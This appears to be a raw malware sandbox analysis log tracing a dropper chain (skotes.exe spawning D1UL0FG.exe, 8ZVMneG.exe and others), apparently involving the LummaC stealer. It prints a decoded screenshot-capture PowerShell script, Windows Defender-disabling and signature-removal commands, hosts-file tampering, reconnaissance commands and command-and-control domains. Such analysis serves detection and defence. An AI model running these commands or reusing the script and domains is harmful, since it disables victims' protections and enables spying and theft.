Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Memory written: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Memory written: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 8ZVMneG.exe, 0000001C.00000002.2640684228.000000000300C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: 8ZVMneG.exe, 0000001C.00000002.2640684228.000000000300C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: 8ZVMneG.exe, 0000001C.00000002.2640684228.000000000300C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: 8ZVMneG.exe, 0000001C.00000002.2640684228.000000000300C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: 8ZVMneG.exe, 0000001C.00000002.2640684228.000000000300C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: 8ZVMneG.exe, 0000001C.00000002.2640684228.000000000300C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bellflamre.click
Source: d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe "C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe "C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe "C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEF.tmp" "c:\Users\user\AppData\Local\Temp\l2sopuet\CSC2774EC596431493C9BAB8956CFD3669.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
